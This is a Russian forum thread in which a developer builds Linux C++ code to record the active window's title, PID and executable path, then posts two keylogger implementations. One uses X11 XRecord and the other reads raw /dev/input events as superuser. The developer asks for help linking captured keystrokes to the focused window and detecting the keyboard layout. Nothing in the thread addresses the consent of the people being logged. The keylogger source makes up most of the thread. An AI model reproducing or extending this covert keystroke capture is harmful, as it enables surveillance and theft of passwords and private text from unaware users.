Форум программистов, компьютерный форум, киберфорум
C/С++ под Linux
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 5.00/9: Рейтинг темы: голосов - 9, средняя оценка - 5.00
0 / 0 / 1
Регистрация: 27.06.2013
Сообщений: 88

Как получить заголовки активного приложения в Linux?

15.05.2024, 13:14. Показов 3056. Ответов 25
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Здравствуйте ребята. У меня есть такая задача: мне нужно раз в некоторое время (в 4 секунды) получать информацию о приложении с которым сейчас работает пользователь. Нужно знать заголовок окна, путь процесса в системе и на какой хост отправляет данные приложение. Я написала (с помощью статей со stackowrflow) следующий код:

файл ActiveApplication.hpp
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//
// Created by tania on 13.05.24.
//
 
#ifndef NFLDMODULE_ACTIVEAPPLICATION_HPP
#define NFLDMODULE_ACTIVEAPPLICATION_HPP
 
#include <Poco/SharedPtr.h>
#include <Poco/Logger.h>
#include <X11/Xatom.h>
#include <X11/Xlib.h>
#include <tasks/window/WindowInfo.h>
#include <list>
#include <array>
 
using namespace tasks::window;
 
class ActiveApplication {
 
public:
 
    /* конструктор класса
         @param logger тип Poco::Logger - ссылка на Poco::Logger для ведения логов внутри класса
         * */
    explicit ActiveApplication(Poco::Logger& logger);
 
    // деструктор класса
    ~ActiveApplication() = default;
 
    /* метод получающий нужную нам информацию из активного окна
         @return Poco::SharedPtr<WindowInfo> - возвращает умный указатель на структуру хранящую сведения об окне
         * */
    Poco::SharedPtr<WindowInfo> getActiveWindowInfo();
 
    /* метод получающий окно верхнего уровня
         @return X11::Window - возвращает одно из открытых окон приложений
         * */
    Poco::SharedPtr<WindowInfo> getTopWindow();
 
private:
 
    /**
        Приватный метод получающий некоторое свойство окна
        @param xWindow указатель на тип Window из xLib - корневое окно
         @param xPropertyType тип Atom из xLib - тип свойства которое нужно получить
         @param propertyName тип const char* - имя свойства которое нужно получить
        @return const char* - массив бай содержащий информацию об окне
        */
    unsigned char* getProperty(Window xWindow, Atom xPropertyType, const char* propertyName);
 
    std::string getWindowTitle(Window& xWindow);
 
    int getPidWindow(Window& xWindow);
 
    std::string getPathApp(int pid);
 
    // указатель на главный дисплей ОС, с которого мы будем получать окна приложений
    Display* xDisplay_{};
 
    // ссылка на логгер который ведёт у нас логирование
    Poco::Logger& logger_;
 
    // период по которому мы повторяем действия в runTask
    const int32_t sleep_period_{4000}; // 4 секунды
};
 
#endif    //NFLDMODULE_ACTIVEAPPLICATION_HPP
файл ActiveApplication.cpp
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
//
// Created by tania on 13.05.24.
//
 
#include "ActiveApplication.hpp"
 
ActiveApplication::ActiveApplication(Poco::Logger& logger)
    : logger_(logger)
{
};
 
Poco::SharedPtr<WindowInfo> ActiveApplication::getActiveWindowInfo()
{
    setenv("DISPLAY", ":0", 1);
    xDisplay_ = ::XOpenDisplay(NULL);
    Window activeWindow = NULL;
 
    unsigned char* property = getProperty(::XDefaultRootWindow(xDisplay_), XA_WINDOW, "_NET_ACTIVE_WINDOW");
 
    if (property != nullptr)
    {
        activeWindow = *(reinterpret_cast<Window*>(property));
    } else
    {
        logger_.information("error get property _NET_ACTIVE_WINDOW");
        ::XCloseDisplay(xDisplay_);
        return nullptr;
    }
 
    // получим нужные нам данные об активном окне приложения заполним нашу структуру эти данными
    Poco::SharedPtr<WindowInfo> windowInfo = Poco::makeShared<WindowInfo>();
 
    // заголовок окна
    windowInfo->name = this->getWindowTitle(activeWindow);
    windowInfo->pid  = this->getPidWindow(activeWindow);
    windowInfo->path = this->getPathApp(windowInfo->pid);
 
    ::XCloseDisplay(xDisplay_);
 
    return windowInfo;
}
 
Poco::SharedPtr<WindowInfo> ActiveApplication::getTopWindow()
{
    xDisplay_ = ::XOpenDisplay(NULL);
 
    Poco::SharedPtr<WindowInfo> windowInfo{nullptr};
    Atom prop_NET_CLIENT_LIST = XInternAtom(xDisplay_,"_NET_CLIENT_LIST",False);
    unsigned long len, remain;
    unsigned char *output;
    int i,form;
    Atom type;
    Window *list;
 
    if (Success == XGetWindowProperty(xDisplay_,XDefaultRootWindow(xDisplay_),prop_NET_CLIENT_LIST,0,1024,False,XA_WINDOW,
                                      &type,&form,&len,&remain,&output))
    {
        list = (Window*)output;
        std::cout<<"len = "<<(int)len<<std::endl;
        const int count = (int)len;
        long item_user_time {1000000};
        int index{-1};
 
        for (i=0;i<count;i++)
        {
            std::cout << "i = " << i << std::endl;
 
            unsigned char* property = getProperty(::XDefaultRootWindow(xDisplay_), XA_WINDOW, "_NET_WM_USER_TIME");
 
            if (property != nullptr)
            {
                unsigned long long_property = static_cast<unsigned long>(property[0] + (property[1] << 8) + (property[2] << 16) + (property[3] << 24));
                logger_.information("user_time=[%hu]", long_property);
 
                if (long_property < item_user_time)
                {
                    item_user_time = long_property;
                    index = i;
                }
            }
        }
 
        if (index >= 0)
        {
            // получим нужные нам данные об активном окне приложения заполним нашу структуру эти данными
            windowInfo = Poco::makeShared<WindowInfo>();
 
            // заголовок окна
            windowInfo->name = this->getWindowTitle(list[index]);
            windowInfo->pid  = this->getPidWindow(list[index]);
            windowInfo->path = this->getPathApp(windowInfo->pid);
        }
    }
 
    ::XCloseDisplay(xDisplay_);
    return windowInfo;
}
 
// метод получающий некоторое свойство окна
unsigned char* ActiveApplication::getProperty(Window xWindow, Atom xPropertyType, const char* propertyName)
{
    Atom xProperty = ::XInternAtom(xDisplay_,propertyName,False);
 
    if (xProperty == None)
    {
        logger_.information("error get property - %s",propertyName);
        return nullptr;
    }
 
    Atom xActualType = None;
    int actualFormat = 0;
 
    unsigned long  itemsNumber     = 0;
    unsigned long  remainigBytes   = 0;
    unsigned char *pProperty       = NULL;
    const long     maxPropertySize = 4096;
 
    try {
        int result = ::XGetWindowProperty(xDisplay_,
                                          xWindow,
                                          xProperty,
                                          0,
                                          maxPropertySize / 4,
                                          False,
                                          xPropertyType,
                                          &xActualType,
                                          &actualFormat,
                                          &itemsNumber,
                                          &remainigBytes,
                                          &pProperty);
 
        if (result != Success) {
            logger_.information("error get property window - %s", propertyName);
            return nullptr;
        }
    }
    catch (std::exception& ex)
    {
        logger_.critical("Critical error in ActiveApplication::getProperty: %s", std::string(ex.what()));
    }
 
    return  pProperty;
}
 
std::string ActiveApplication::getWindowTitle(Window& xWindow)
{
    unsigned char* netwmName = getProperty(xWindow,
                                           ::XInternAtom(xDisplay_, "UTF8_STRING", False),
                                           "_NET_WM_NAME");
 
    if (netwmName == nullptr)
            netwmName = getProperty(xWindow,
                                ::XInternAtom(xDisplay_, "UTF8_STRING", False),
                                "WM_NAME");
 
    if (netwmName != nullptr)
        return std::string((char*)netwmName);
    else
        return "";
}
 
int ActiveApplication::getPidWindow(Window& xWindow)
{
    unsigned char* wmPid = getProperty(xWindow,
                                       AnyPropertyType,
                                       "_NET_WM_PID");
 
    if (wmPid != nullptr)
    {
        // PID процесса, которому принадлежит это окно
        unsigned long long_property = static_cast<unsigned long>(wmPid[0] + (wmPid[1] << 8) + (wmPid[2] << 16) + (wmPid[3] << 24));
        return (int)long_property;
    }
    return -1;
}
 
std::string ActiveApplication::getPathApp(int pid)
{
    //получим путь к исполняемому файлу процесса, которому принадлежит активное окно
    char path[32];
    sprintf(path, "/proc/%d/exe", pid);
 
    // вызов системной функции Linux, возвращающей путь в системе до исполняемого файла
    return realpath(path,NULL);
}
Мой класс хорошо справляется со своей задачей и получает заголовки окон. Но он работает только если графическая оболочка X11 по умолчанию выбрана. При тестировании на ubuntu и kubuntu я имею разные показатели работы. На kubuntu всё хорошо работает, так как там по умолчанию используется Xorg. А вот на ubuntu 24 код не заработал, приложение всё время крашилось при попытки обращения к библиотеки xlib (хотя я её статически линкую). Стали разбираться почему такое поведение. Попробовали в консоли выполнить команду получения активного окна через свойства _NET_ACTIVE_WINDOW и получили ошибку -
Немного погуглив нашли на одном форуме ответ, что в новых версиях ubuntu по умолчанию используется wayland графическая оболочка - https://superuser.com/question... me-windows

Перед нами стала задача, а возможно ли как-то абстрагироваться от типов оболочки и получать заголовки окон независимо от используемой графической подсистемы ? Вдруг через месяц выйдет новая подсистема и получается что нам придётся и под неё писать свою реализацию. Может кто знает способ универсальный ? Может можно как-то на уровне ядра ОС реализовать мою задачу ? Может можно, как антивирусы подключиться в системе к событию запуска приложения ? И перехватывать информацию о нём ? Кто-нибудь может подсказать решение ?
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
15.05.2024, 13:14
Ответы с готовыми решениями:

Как получить параметры активного приложения windows
Здравствуйте, задача следующая, нужно получить данные открытого приложения по нажатию hotkey. Т.е. я работаю с word файлом, нажимаю...

Как получить имя активного приложения переднего плана Android?
Использовались getRunningTasks(int) и getRunningAppProcesses(), которые после Android 5.0+ выдают только мое приложение. Также пробовала...

Получить имя активного приложения
Добрый день! Подскажите советом, мне нужно получить имя приложения активного в данный момент (т.е. того, с которым сейчас работает...

25
 Аватар для Annemesski
2670 / 1333 / 479
Регистрация: 08.11.2016
Сообщений: 3,679
27.06.2024, 08:49
Студворк — интернет-сервис помощи студентам
Цитата Сообщение от tiny developer Посмотреть сообщение
имею только предположение что XEvent вернул нулевой XKeyEvent
Проверьте предположение: посмотрите дебагером или отладочным выводом что переменная event валидная. Хотя судя по ошибке у Вас сегфолт (SIGSEGV - signal segmentation violation) - то есть обращение к памяти не принадлежащей процессу. Если XKeyEvent нулевой - должна быть ошибка разыменования нулевого указателя (null pointer dereference) что, впрочем, может инициировать и сегу.

Меня смущает вот эта строчка:
C++
16
int type = ((unsigned char*) data->data)[0] & 0x7F;
Зачем? Тип события пишется в структуре, попробуйте так:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//int type = ((unsigned char*) data->data)[0] & 0x7F;
 
 
   if (data->category==XRecordFromServer) {
       event=(XEvent *)data->data;
 
 
       switch (event->type) {
           case KeyPress:
               XLookupString(&event->xkey, buf, 10, &keysym, NULL);
               printf("Key \"%s\" pressed\n", XKeysymToString(keysym));
               buttonCodesString += XKeysymToString(keysym);
               break;
       }
       XRecordFreeData (data);
Цитата Сообщение от tiny developer Посмотреть сообщение
Но в этой статье он не подписывается на события клавиатуры
Есть две основные парадигмы при отслеживании событий: MessageLoop и OnEvent.
OnEvent - подразумевает что по определённым событиям происходит обратный вызов (callback) подпрограммы обработчика этого события. Для связки события и его обработчика вызывается механизм подписки на событие.
MessageLoop - подразумевает, что где-то крутится (условно) вечный цикл который пробегает и смотрит флаг срабатывания по всем событиям и если флаг выставлен вызывает соответствующий обработчик. Вот собственно по Вашей ссылке в цикле
C++
1
while (1)
как раз и организован такой вот MessageLoop.
0
0 / 0 / 1
Регистрация: 27.06.2013
Сообщений: 88
27.06.2024, 12:42  [ТС]
Спасибо вам за ответ) продолжаю бороться найти решение. Я попробовала следующий код:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
    void KeyboardTracker::subscribeEventsKeyboardXorg()
    {
        XRecordRange* rr;
        XRecordClientSpec rcs;
        XRecordContext rc;
 
        try {
 
           display_ = ::XOpenDisplay(NULL);
 
            if (display_) {
                rr = XRecordAllocRange();
                rr->device_events.first = KeyPress;
                rr->device_events.last = ButtonPress;
                rcs = XRecordAllClients;
                rc = XRecordCreateContext(display_, 0, &rcs, 1, &rr, 1);
                XFree(rr);
 
                auto callback = [](XPointer closure, XRecordInterceptData* data) {
                    ((KeyboardTracker*)closure)->keyPressedHandler(closure, data);
                };
                XRecordEnableContext(display_, rc, callback, NULL);
            } else
            logger_.information("KeyboardTracker::subscribeEventsKeyboardXorg XOpenDisplay failed!");
        }
        catch (std::exception& ex)
        {
            XCloseDisplay(display_);
            logger_.critical("Critical error in subscribeEventsKeyboardXorg(): %s", std::string(ex.what()));
        }
    }
 
    /* for this struct, refer to libxnee */
    typedef union {
        unsigned char    type ;
        xEvent           event ;
        xResourceReq     req   ;
        xGenericReply    reply ;
        xError           error ;
        xConnSetupPrefix setup;
    } XRecordDatum;
 
    void KeyboardTracker::keyPressedHandler(XPointer p, XRecordInterceptData *d)
    {
        //KeyboardTracker* pointer = (KeyboardTracker*)p;
 
        //pointer->logger_.information("KeyboardTracker::keyPressedHandler");
 
        if (d == nullptr || d->category != XRecordFromServer)
        return;
 
        XRecordDatum *data = (XRecordDatum*) d->data;
 
        int event_type = data->type;
 
        BYTE keycode;
        keycode = data->event.u.u.detail;
        switch (event_type) {
                case KeyPress:
                    //pointer->keyPressCodes_ += keycodes_.at(keycode) + ",";
                    printf("keycode = %s", XKeysymToString(XKeycodeToKeysym(display_, keycode, 0)));
                    break;
                case ButtonPress:
                    //pointer->keyPressCodes_ += keycodes_.at(keycode) + ",";
                    printf("keycode = %s",XKeysymToString(XKeycodeToKeysym(display_, keycode, 0)));
                    break;
                default:
                    break;
            }
 
        XRecordFreeData (d);
 
        /*if (pointer->keyPressCodes_.length() > 50)
        {
            pointer->logger_.information("keyPressCodes: %s", keyPressCodes_);
            pointer->keyPressCodes_.clear();
        } */
    }
Но у меня возникла следующая проблема... Никак не могу получить в функции callback - keyPressedHandler указатель this на свой класс....
мне он очень нужен там, чтобы возпользоваться функцией XKeycodeToKeysym, которая в парамтерах требует Display.
Поэтому в приватных переменных класса сделала указатель на Display* и в методе subscribeEventsKeyboardXorg открываю его.
Мне так же важно иметь доступ к другим переменным моего класса. Не могли бы вы мне подсказать как мне быть в такой ситуации?
Я пыталась получить указатель на свой класс из аргумента XPointer в callback функции. Но он приходит мне всегда со значением NULL.

Приложила скриншот в котором видно что я получаю NULL в XPointer:


Пыталась как-нибудь через лямба выражение передать указательно на свой класс, но получаю ошибку во время компиляции на строке XRecordEnableContext(display_, rc, callback, NULL);
так как метод XRecordEnableContext ожидает определенного вида callback функцию. И я просто не знаю как мне быть....
Прошу вас снова помочь мне.
Есть и ещё одна трудность. Мне в моём кейлогерре очень важно знать к какому окну принадлежат введенные с клавиатуры символы.
Я стараюсь найти в интернете решение, просмотрела некоторые статьи. Но пока не знаю как мне связать введёный символ с окном приложения в котором был введён этот символ ? Можете смогли бы вы и здесь подсказать мне ?

Я так же написала ещё один вариант кейлоггера) в котором пошла совсем другим путём и там уже получаю прям именно сам введёный символ, но не знаю как мне связать его с окном. Если мне хотя бы получить PID процесса приложения которому принадлежит соббытия ввода, то я уже по нему смогу и окно приложения вытащить.
Приведу второй вариант кейлогерра. Может вы сможете подсказать в нём решение ?

файл KeyboardTask.hpp
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#ifndef KEYBOARDTASK_H
#define KEYBOARDTASK_H
 
#include <Poco/Task.h>
#include <Poco/Logger.h>
 
namespace  tasks {
    class KeyboardTask : public Poco::Task
    {
    public:
        explicit KeyboardTask(Poco::Logger& logger);
 
        // переопределяемый метод, который запускает нашу задачу в отдельном потоке
        void runTask() override;
 
    private:
 
        std::string get_kb_device();
 
        std::string strPressedButton {};
 
        static const inline std::unordered_map<int, std::string> keycodes_ =
        {    {0, "RESERVED"},
             {1, "ESC",},
             {2, "1",},
             {3, "2",},
             {4, "3",},
             {5, "4",},
             {6, "5",},
             {7, "6",},
             {8, "7",},
             {9, "8",},
             {10, "9",},
             {11, "0",},
             {12, "MINUS",},
             {13, "EQUAL",},
             {14, "BACKSPACE",},
             {15, "TAB",},
             {16, "Q"},
             {17, "W"},
             {18, "E"},
             {19, "R"},
             {20, "T"},
             {21, "Y"},
             {22, "U"},
             {23, "I"},
             {24, "O"},
             {25, "P"},
             {26, "LEFTBRACE"},
             {27, "RIGHTBRACE"},
             {28, "ENTER"},
             {29, "LEFTCTRL"},
             {30, "A"},
             {31, "S"},
             {32, "D"},
             {33, "F"},
             {34, "G"},
             {35, "H"},
             {36, "J"},
             {37, "K"},
             {38, "L"},
             {39, "SEMICOLON"},
             {40, "APOSTROPHE"},
             {41, "GRAVE"},
             {42, "LEFTSHIFT"},
             {43, "BACKSLASH"},
             {44, "Z"},
             {45, "X"},
             {46, "C"},
             {47, "V"},
             {48, "B"},
             {49, "N"},
             {50, "M"},
             {52, "COMMA"},
             {52, "DOT"},
             {53, "SLASH"},
             {54, "RIGHTSHIFT"},
             {55, "KPASTERISK"},
             {56, "LEFTALT"},
             {57, "SPACE"},
             {58, "CAPSLOCK"},
             {59, "F1"},
             {60, "F2"},
             {61, "F3"},
             {62, "F4"},
             {63, "F5"},
             {64, "F6"},
             {65, "F7"},
             {66, "F8"},
             {67, "F9"},
             {68, "F10"},
             {69, "NUMLOCK"},
             {70, "SCROLLLOCK"}
        };
 
        // ссылка на логгер который ведёт у нас логирование
        Poco::Logger& logger_;
 
        // период по которому мы повторяем действия в runTask
        const int32_t sleep_period_{1000};    // 1 секунда
    };
}
 
 
 
#endif //KEYBOARDTASK_H
файл KeyboardTask.cpp
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
//
// Created by parallels on 6/22/24.
//
 
#include "KeyboardTask.h"
#include <iostream>
#include <filesystem>
#include <fstream>
#include <fcntl.h>
#include <linux/input.h>
#include <linux/input-event-codes.h>
#include <sys/ioctl.h>
#include <unistd.h>
 
namespace  tasks {
    KeyboardTask::KeyboardTask(Poco::Logger& logger)
        : Poco::Task("KeyboardTask"),
          logger_(logger) {}
 
    void KeyboardTask::runTask()
    {
        logger_.information("Starting KeyboardTask");
 
        int eventSize = sizeof(struct input_event);
        int bytesRead = 0;
        const unsigned int number_of_events = 128;
        struct input_event events[number_of_events];
        int i;
 
        std::string kb_device = "";
        int keyboard {0};
 
        while (!isCancelled()) {
 
            if (keyboard <= 0) {
                kb_device = get_kb_device();
                keyboard = open(kb_device.c_str(), O_RDONLY);
 
                if(keyboard < 0)
                {
                    logger_.error("Error accessing keyboard from  %s. May require you to be superuser.", kb_device);
                }
            }
            else {
 
                bytesRead = read(keyboard, events, eventSize * number_of_events);
                for(i = 0; i < (bytesRead / eventSize); ++i) {
                    if(events[i].type == EV_KEY) {
                        if(events[i].value == 1) {
                            if(events[i].code > 0 && events[i].code < keycodes_.size()) {
                                strPressedButton += keycodes_.at(events[i].code) + ",";
                            }
                        }
                    }
                }
 
                if (strPressedButton.length() > 30) {
                    logger_.information("нажатые клавиши: %s", strPressedButton);
                    strPressedButton.clear();
                }
            }
        }
        logger_.information("KeyboardTask is working....");
        this->sleep(sleep_period_);
    }
 
    std::string KeyboardTask::get_kb_device()
    {
        std::string kb_device = "";
        for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
        {
            std::filesystem::file_status status = std::filesystem::status(p);
 
            if (std::filesystem::is_character_file(status))
            {
                std::string filename = p.path().string();
                int fd = open(filename.c_str(), O_RDONLY);
 
                if(fd == -1)
                {
                    std::cerr << "Error: " << strerror(errno) << std::endl;
                    continue;
                }
                int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;
                ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
 
                if((EV_KEY & event_bitmap) == EV_KEY)
                { // The device acts like a keyboard
                    ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
 
                    if((kbd_bitmap & event_bitmap) == kbd_bitmap)
                        {
                            // The device supports A, B, C, Z keys, so it probably is a keyboard
                            kb_device = filename;
                            close(fd);
                            break;
                        }
                    }
                close(fd);
                }
            }
        return kb_device;
    }
 
}
Очень жду помощи от вас ребята....
0
 Аватар для Azathtot
754 / 351 / 90
Регистрация: 07.01.2023
Сообщений: 1,451
27.06.2024, 13:30
tiny developer,
Извините, но вы походу ни документацию читать, ни думать не хотите.. Может вам сразу в "заказать программу"?
смотрим
closure Specifies data passed to callback.
Вот и передавайте туда this, каую-либо "живую" структуру, если параметров больше 1 и т.д.
0
0 / 0 / 1
Регистрация: 27.06.2013
Сообщений: 88
27.06.2024, 20:02  [ТС]
спасибо, я оказывается не там передавала указатель this, не в том методе. Тепрерь я успешно его получаю, мне доступны все поля класса, но я по-прежнему мучаюсь. Никак не получается выдернуть значение кода клавиши из xEvent.
У меня почему-то метод XKeysymToString(XKeycodeToKeysym(display _, keycode, 0)) не отрабатывает. Как-будто зависает. Не могу пройти далее отладчиком... Если я завершаю приложение то вижу такой код завершения(скриншоты приложила).


0
0 / 0 / 1
Регистрация: 27.06.2013
Сообщений: 88
27.06.2024, 20:48  [ТС]
буду надеяться, что может кто из вас сможет помочь.

Добавлено через 44 минуты
может кто сможет подсказать как можно получить pid процесса которому принадлежит ввод с клавиатуры ?
Я сделала и второй вариант кейлогера, читая файл клавиатуры. Но в структуре которую я получаю нет никаких сведений о процессе, который принимал ввод с клавиатуры. Я правда много смотрела в интернете, искала и в документации. Перепробовала уже столько примеров и вариантов решения.... И всё никак не могу сделать...
Я буду рада вашим подсказкам как для первого случая так и для второго.

Вот мой второй уже кейлоггер)

Файл KeyboardTask.hpp
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#ifndef KEYBOARDTASK_H
#define KEYBOARDTASK_H
 
#include <Poco/Task.h>
#include <Poco/Logger.h>
 
namespace  tasks {
    class KeyboardTask : public Poco::Task
    {
    public:
        explicit KeyboardTask(Poco::Logger& logger);
 
        // переопределяемый метод, который запускает нашу задачу в отдельном потоке
        void runTask() override;
 
    private:
 
        std::string get_kb_device();
 
        std::string strPressedButton {};
 
        static const inline std::unordered_map<int, std::string> keycodes_ =
        {    {0, "RESERVED"},
             {1, "ESC",},
             {2, "1",},
             {3, "2",},
             {4, "3",},
             {5, "4",},
             {6, "5",},
             {7, "6",},
             {8, "7",},
             {9, "8",},
             {10, "9",},
             {11, "0",},
             {12, "MINUS",},
             {13, "EQUAL",},
             {14, "BACKSPACE",},
             {15, "TAB",},
             {16, "Q"},
             {17, "W"},
             {18, "E"},
             {19, "R"},
             {20, "T"},
             {21, "Y"},
             {22, "U"},
             {23, "I"},
             {24, "O"},
             {25, "P"},
             {26, "LEFTBRACE"},
             {27, "RIGHTBRACE"},
             {28, "ENTER"},
             {29, "LEFTCTRL"},
             {30, "A"},
             {31, "S"},
             {32, "D"},
             {33, "F"},
             {34, "G"},
             {35, "H"},
             {36, "J"},
             {37, "K"},
             {38, "L"},
             {39, "SEMICOLON"},
             {40, "APOSTROPHE"},
             {41, "GRAVE"},
             {42, "LEFTSHIFT"},
             {43, "BACKSLASH"},
             {44, "Z"},
             {45, "X"},
             {46, "C"},
             {47, "V"},
             {48, "B"},
             {49, "N"},
             {50, "M"},
             {52, "COMMA"},
             {52, "DOT"},
             {53, "SLASH"},
             {54, "RIGHTSHIFT"},
             {55, "KPASTERISK"},
             {56, "LEFTALT"},
             {57, "SPACE"},
             {58, "CAPSLOCK"},
             {59, "F1"},
             {60, "F2"},
             {61, "F3"},
             {62, "F4"},
             {63, "F5"},
             {64, "F6"},
             {65, "F7"},
             {66, "F8"},
             {67, "F9"},
             {68, "F10"},
             {69, "NUMLOCK"},
             {70, "SCROLLLOCK"}
        };
 
        // ссылка на логгер который ведёт у нас логирование
        Poco::Logger& logger_;
 
        // период по которому мы повторяем действия в runTask
        const int32_t sleep_period_{1000};    // 1 секунда
    };
}
 
 
 
#endif //KEYBOARDTASK_H
файл KeyboardTask.cpp
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
//
// Created by parallels on 6/22/24.
//
 
#include "KeyboardTask.h"
#include <iostream>
#include <filesystem>
#include <fstream>
#include <fcntl.h>
#include <linux/input.h>
#include <linux/input-event-codes.h>
#include <sys/ioctl.h>
#include <unistd.h>
 
namespace  tasks {
    KeyboardTask::KeyboardTask(Poco::Logger& logger)
        : Poco::Task("KeyboardTask"),
          logger_(logger) {}
 
    void KeyboardTask::runTask()
    {
        logger_.information("Starting KeyboardTask");
 
        int eventSize = sizeof(struct input_event);
        int bytesRead = 0;
        const unsigned int number_of_events = 128;
        struct input_event events[number_of_events];
        int i;
 
        std::string kb_device = "";
        int keyboard {0};
 
        while (!isCancelled()) {
 
            if (keyboard <= 0) {
                kb_device = get_kb_device();
                keyboard = open(kb_device.c_str(), O_RDONLY);
 
                if(keyboard < 0)
                {
                    logger_.error("Error accessing keyboard from  %s. May require you to be superuser.", kb_device);
                }
            }
            else {
 
                bytesRead = read(keyboard, events, eventSize * number_of_events);
                for(i = 0; i < (bytesRead / eventSize); ++i) {
                    if(events[i].type == EV_KEY) {
                        if(events[i].value == 1) {
                            if(events[i].code > 0 && events[i].code < keycodes_.size()) {
                                strPressedButton += keycodes_.at(events[i].code) + ",";
                            }
                        }
                    }
                }
 
                if (strPressedButton.length() > 30) {
                    logger_.information("нажатые клавиши: %s", strPressedButton);
                    strPressedButton.clear();
                }
            }
        }
        logger_.information("KeyboardTask is working....");
        this->sleep(sleep_period_);
    }
 
    std::string KeyboardTask::get_kb_device()
    {
        std::string kb_device = "";
        for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
        {
            std::filesystem::file_status status = std::filesystem::status(p);
 
            if (std::filesystem::is_character_file(status))
            {
                std::string filename = p.path().string();
                int fd = open(filename.c_str(), O_RDONLY);
 
                if(fd == -1)
                {
                    std::cerr << "Error: " << strerror(errno) << std::endl;
                    continue;
                }
                int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;
                ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
 
                if((EV_KEY & event_bitmap) == EV_KEY)
                { // The device acts like a keyboard
                    ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
 
                    if((kbd_bitmap & event_bitmap) == kbd_bitmap)
                        {
                            // The device supports A, B, C, Z keys, so it probably is a keyboard
                            kb_device = filename;
                            close(fd);
                            break;
                        }
                    }
                close(fd);
                }
            }
        return kb_device;
    }
 
}
0
0 / 0 / 1
Регистрация: 27.06.2013
Сообщений: 88
31.07.2024, 20:32  [ТС]
Здравствуйте ребята. Очень жаль что мне никто не ответил. Я за это время реализовала второй вариант кейлоггера, нашла способ связать клавишу с активным окном. Но у меня возник вопрос. Дело в том что на разных раскладках клавиатуры (русская и английская) я получаю один и тот же код клавиши. Проверяла даже в консоли программой
sudo showkey --keycodes
а как мне получить текущую раскладку клавиатуры ? Чтобы я могла сделать себе ещё один список клавиш и учитывая раскладку брать из разных список символ кода.

Вот мой код:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include "KeyboardTask.h"
#include <iostream>
#include <filesystem>
#include <fstream>
#include <fcntl.h>
#include <linux/input.h>
#include <linux/input-event-codes.h>
#include <sys/ioctl.h>
#include <unistd.h>
 
namespace  tasks {
    KeyboardTask::KeyboardTask(Poco::Logger& logger)
        : Poco::Task("KeyboardTask"),
          logger_(logger) {}
 
    void KeyboardTask::runTask()
    {
        logger_.information("Starting KeyboardTask");
 
